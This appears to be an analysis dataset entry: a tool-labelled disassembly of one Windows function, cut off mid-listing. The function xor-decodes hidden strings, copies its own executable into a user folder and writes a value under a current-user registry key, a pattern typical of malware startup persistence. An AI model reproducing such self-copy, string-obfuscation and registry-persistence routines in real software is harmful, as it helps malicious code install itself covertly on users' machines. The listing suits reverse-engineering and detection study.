Function at 0x418290
Capabilities:
Check if file exists
Copy file
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504b97
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x558
push esi
mov dword [ebp - 0x14], 0
xor ecx, ecx
push edi
mov dword [ebp - 0x1c], 0xfbfafdc9
mov dword [ebp - 0x18], 0x100f0d2
nop dword [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 6
jb 0x4182e0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4182f8
mov esi, 0x7fffffff
sub ecx, edx
mov edx, dword [0x534b54]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x419ff0
cmp dword [0x534b58], 0x10
mov eax, str.1114
push edx
cmovae eax, dword [str.1114]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1cc]
call fcn.0046dfc0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x1b], 0xc8dcc8dc
mov word [ebp - 0x17], 0xd6
mov byte [ebp - 0x15], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 5
jb 0x418360
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418378
sub ecx, edx
mov eax, esi
mov edx, dword [0x534b54]
sub eax, edx
cmp eax, ecx
jb 0x419ff5
cmp dword [0x534b58], 0x10
mov eax, str.1114
push edx
cmovae eax, dword [str.1114]
push eax
push ecx
lea eax, [ebp - 0x1b]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x25c]
call fcn.0046dfc0
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x1b], 0xcedaccd6
mov word [ebp - 0x17], 0xd7
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 5
jb 0x4183d3
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4183f0
sub ecx, edx
mov eax, esi
mov edx, dword [0x534b54]
sub eax, edx
cmp eax, ecx
jb 0x419ffa
cmp dword [0x534b58], 0x10
mov eax, str.1114
push edx
cmovae eax, dword [str.1114]
push eax
push ecx
lea eax, [ebp - 0x1b]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x184]
call fcn.0046dfc0
push 0x200
lea eax, [ebp - 0x568]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x568]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1a4], 0
lea ecx, [ebp - 0x568]
mov dword [ebp - 0x1a0], 0
movups xmmword [ebp - 0x1b4], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418490
sub ecx, edx
lea eax, [ebp - 0x568]
push ecx
push eax
lea ecx, [ebp - 0x1b4]
call fcn.00402870
mov dword [ebp - 0x28], 0x1e
push 0x104
lea eax, [ebp - 0x368]
mov byte [ebp - 4], 3
push 0
push eax
mov dword [ebp - 0x6c], 0x104
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x368]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x49], 0xdfded3d7
xor ecx, ecx
mov dword [ebp - 0x45], 0xf2f1e1d3
mov dword [ebp - 0x41], 0xe7f1e5e7
mov word [ebp - 0x3d], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 0xc
jb 0x418502
lea eax, [ebp - 0x49]
mov byte [ebp - 0x3c], 0
push eax
call fcn.004ec241
mov edx, eax
add esp, 4
test edx, edx
je 0x418a2b
mov ecx, edx
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418547
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x84]
call fcn.00402870
lea eax, [ebp - 0x13]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x84]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
call fcn.00466290
cmp dword [ebp - 0x1b8], 0x10
lea ecx, [ebp - 0x1cc]
mov edx, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x1bc]
sub eax, edx
mov dword [ebp - 0x30], edx
push edi
push ecx
cmp edi, eax
ja 0x4185d4
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x84]
mov dword [ebp - 0x74], eax
lea eax, [esi + edx]
push eax
call fcn.004df290
mov ecx, dword [ebp - 0x30]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x4185e7
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x84]
push dword [ebp - 0x30]
push edi
call fcn.0046c3b0
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
push 0x537268
cmovae esi, dword [ebp - 0x84]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x419fff
test esi, esi
je 0x418656
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418616
sub ecx, edx
je 0x418656
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418647
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x418647
cmp eax, 0x20
je 0x418647
cmp eax, 0x45
je 0x418647
cmp eax, 0x24
jne 0x418656
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x418676
push 0x537268
call fcn.004dcb43
add esp, 4
lea ecx, [ebp - 0x84]
call fcn.00416190
test al, al
je 0x4189f0
mov dword [ebp - 0x28], 0xfbe5f9b5
xor ecx, ecx
mov word [ebp - 0x24], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 4
jb 0x418685
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x23], 0
mov word [ebp - 0x13], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x11], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4186a7
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x74]
sub eax, edx
cmp eax, ecx
jb 0x41a005
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
push ecx
cmovae eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x9c]
call fcn.0046dfc0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1cc]
cmp dword [ebp - 0x1b8], 0x10
mov esi, dword [ebp - 0x88]
mov eax, esi
cmovae ecx, dword [ebp - 0x1cc]
mov edi, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0x8c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41874e
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x9c]
cmovae eax, dword [ebp - 0x9c]
lea esi, [eax + edx]
push esi
call fcn.004df290
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x9c]
jmp 0x418761
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x9c]
push dword [ebp - 0x30]
push edi
call fcn.0046c3b0
mov dword [ebp - 0xa4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xb4]
call fcn.00466290
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x28], 0x39e
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x418836
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41882c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a00a
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x41888f
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418885
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a00a
push ecx
push edx
call fcn.004dd831
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x8c], 0
lea eax, [ebp - 0x68]
mov dword [ebp - 0x88], 0xf
mov ecx, esp
mov byte [ebp - 0x9c], 0
push eax
call fcn.00466580
call fcn.0040bf40
add esp, 0x18
test al, al
jne 0x4189b8
cmp dword [ebp - 0x54], 0x10
lea ecx, [ebp - 0x68]
push 0
cmovae ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x1b4]
cmp dword [ebp - 0x1a0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4189b8
movaps xmm0, xmmword [0x526840]
xor ecx, ecx
movups xmmword [ebp - 0x153], xmm0
mov dword [ebp - 0x133], 0xdbebc8d5
movaps xmm0, xmmword [0x5277c0]
movups xmmword [ebp - 0x143], xmm0
mov dword [ebp - 0x12f], 0xada8b3cd
mov dword [ebp - 0x12b], 0xb39798ad
mov word [ebp - 0x127], 0xa9
mov byte [ebp - 0x125], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x153], al
inc ecx
cmp ecx, 0x2d
jb 0x418945
lea eax, [ebp - 0x14]
mov byte [ebp - 0x125], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x153]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4189b8
push dword [ebp - 0x58]
cmp dword [ebp - 0x54], 0x10
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x1cc]
cmovae ecx, dword [ebp - 0x68]
cmp dword [ebp - 0x1b8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1cc]
push 1
push 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x4189f0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4189e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a00f
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x418a2b
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418a21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a014
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x36], 0xced0d9cf
xor ecx, ecx
mov word [ebp - 0x32], 0x100
nop word [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 4
jb 0x418a40
lea eax, [ebp - 0x36]
mov byte [ebp - 0x31], 0
push eax
call fcn.004ec241
movaps xmm0, xmmword [0x525ee0]
mov esi, eax
add esp, 4
mov dword [ebp - 0x30], esi
movups xmmword [ebp - 0x4c], xmm0
mov byte [ebp - 0x3c], 1
xor ecx, ecx
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0xf
jb 0x418a74
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x3c], 0
push eax
call fcn.004ec241
mov edx, eax
add esp, 4
test edx, edx
je 0x419be8
mov ecx, edx
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418ac0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x84]
call fcn.00402870
lea eax, [ebp - 0x13]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x84]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
call fcn.00466290
cmp dword [ebp - 0x170], 0x10
lea ecx, [ebp - 0x184]
mov edx, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x174]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x418b4d
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x84]
mov dword [ebp - 0x74], eax
lea eax, [esi + edx]
push eax
call fcn.004df290
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x418b66
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x84]
push dword [ebp - 0x14]
push edi
call fcn.0046c3b0
mov edi, dword [ebp - 0x174]
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
push 0x537268
cmovae esi, dword [ebp - 0x84]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x41a019
test esi, esi
je 0x418bd5
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418b95
sub ecx, edx
je 0x418bd5
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418bc6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x418bc6
cmp eax, 0x20
je 0x418bc6
cmp eax, 0x45
je 0x418bc6
cmp eax, 0x24
jne 0x418bd5
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x418c4f
push 0x537268
call fcn.004dcb43
add esp, 4
mov dword [ebp - 0xbc], 0
cmp dword [ebp - 0x70], 0x10
lea edx, [ebp - 0x84]
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
cmovae edx, dword [ebp - 0x84]
mov ecx, edx
movups xmmword [ebp - 0xcc], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418c16
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xcc]
call fcn.00402870
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xcc]
mov eax, dword [ebp - 0x28]
or eax, 1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
call fcn.00416190
mov byte [ebp - 0x29], 0
test al, al
je 0x418c53
mov byte [ebp - 0x29], 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x28], 1
je 0x418c9a
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x418c9a
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418c90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a01f
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x29], 0
je 0x419baa
mov dword [ebp - 0x1a], 0xfbe5f9b5
xor ecx, ecx
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 4
jb 0x418cb3
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x15], 0
mov word [ebp - 0x13], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x11], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418cd5
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x74]
sub eax, edx
cmp eax, ecx
jb 0x41a024
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
push ecx
cmovae eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x68]
call fcn.0046dfc0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
mov esi, dword [ebp - 0x54]
mov eax, esi
cmovae ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0x58]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x418d61
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
lea esi, [eax + edx]
push esi
call fcn.004df290
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x68]
jmp 0x418d77
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x68]
push dword [ebp - 0x26]
push edi
call fcn.0046c3b0
mov edi, dword [ebp - 0x174]
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1a]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x9c]
call fcn.00466290
mov dword [ebp - 0x15c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x158], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x16c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x15c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x418e54
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418e4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a029
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x418ea7
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418e9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a029
push ecx
push edx
call fcn.004dd831
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x58], 0
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x54], 0xf
mov ecx, esp
mov byte [ebp - 0x68], 0
push eax
call fcn.00466580
call fcn.0040bf40
add esp, 0x18
test al, al
jne 0x419b6c
cmp dword [ebp - 0x158], 0x10
lea ecx, [ebp - 0x16c]
push 0
cmovae ecx, dword [ebp - 0x16c]
lea eax, [ebp - 0x1b4]
cmp dword [ebp - 0x1a0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x419b6c
movaps xmm0, xmmword [0x5260e0]
xor ecx, ecx
movups xmmword [ebp - 0x124], xmm0
mov dword [ebp - 0x114], 0x8ec1de84
mov dword [ebp - 0x110], 0xfaf6f9e7
mov dword [ebp - 0x10c], 0xe1e7f6
mov byte [ebp - 0x108], 1
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x124], al
inc ecx
cmp ecx, 0x1b
jb 0x418f50
mov byte [ebp - 0x108], 0
xor ecx, ecx
mov dword [ebp - 0x44], 0xeab2bcb9
mov dword [ebp - 0x40], 0x8380f1
mov byte [ebp - 0x3c], 1
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 7
jb 0x418f80
mov byte [ebp - 0x3c], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0xeab2bcb9
mov dword [ebp - 0x19], 0x8380ed
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x418fa6
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x234], 0
movups xmmword [ebp - 0x244], xmm0
mov dword [ebp - 0x230], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418fe0
sub ecx, edx
lea eax, [ebp - 0x368]
push ecx
push eax
lea ecx, [ebp - 0x244]
call fcn.00402870
mov byte [ebp - 4], 0x11
xor ecx, ecx
movaps xmm0, xmmword [0x526fa0]
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf4], 0x8ecb838b
mov dword [ebp - 0xf0], 0x92e4e280
mov word [ebp - 0xec], 0x91
mov byte [ebp - 0xea], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x104], al
inc ecx
cmp ecx, 0x19
jb 0x419034
lea eax, [ebp - 0x244]
mov byte [ebp - 0xea], 0
push eax
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0xe8]
call fcn.0046a3e0
add esp, 4
lea ecx, [ebp - 0x1d]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.00466290
mov dword [ebp - 0xa4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
mov ecx, dword [ebp - 0x15c]
cmovae edx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
sub eax, esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], esi
push ecx
push edx
cmp ecx, eax
ja 0x419133
cmp dword [ebp - 0xa0], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0xa4], eax
lea esi, [ebp - 0xb4]
cmovae esi, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x28]
add eax, esi
push eax
call fcn.004df290
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0xb4]
jmp 0x419146
mov byte [ebp - 0x26], 0
push dword [ebp - 0x26]
push ecx
lea ecx, [ebp - 0xb4]
call fcn.0046c3b0
mov dword [ebp - 0x1ec], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1fc], xmm0
mov dword [ebp - 0x1e8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1fc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1ec], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x1fc]
call fcn.00466290
mov dword [ebp - 0x18c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x19c], xmm0
mov dword [ebp - 0x188], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x19c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
mov ecx, dword [ebp - 0x18c]
cmovae edx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x188]
sub eax, ecx
mov dword [ebp - 0x28], ecx
push edi
push edx
cmp edi, eax
ja 0x41924e
cmp dword [ebp - 0x188], 0x10
lea esi, [ebp - 0x19c]
lea eax, [ecx + edi]
cmovae esi, dword [ebp - 0x19c]
mov dword [ebp - 0x18c], eax
lea eax, [esi + ecx]
push eax
call fcn.004df290
mov eax, dword [ebp - 0x28]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x19c]
jmp 0x419267
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x19c]
push dword [ebp - 0x26]
push edi
call fcn.0046c3b0
mov edi, dword [ebp - 0x174]
mov dword [ebp - 0x1d4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1e4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1d4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1e4]
call fcn.00466290
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x104], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x1d0]
cmp ecx, 0x10
jb 0x419329
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41931f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a02e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1d0], 0xf
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x188]
cmp ecx, 0x10
jb 0x419382
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419378
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a02e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x188], 0xf
mov byte [ebp - 0x19c], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0x10
jb 0x4193db
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4193d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a02e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1e8], 0xf
mov byte [ebp - 0x1fc], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x419434
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41942a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a02e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0x10
jb 0x41948d
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419483
mov edx, dword [eax - 4]
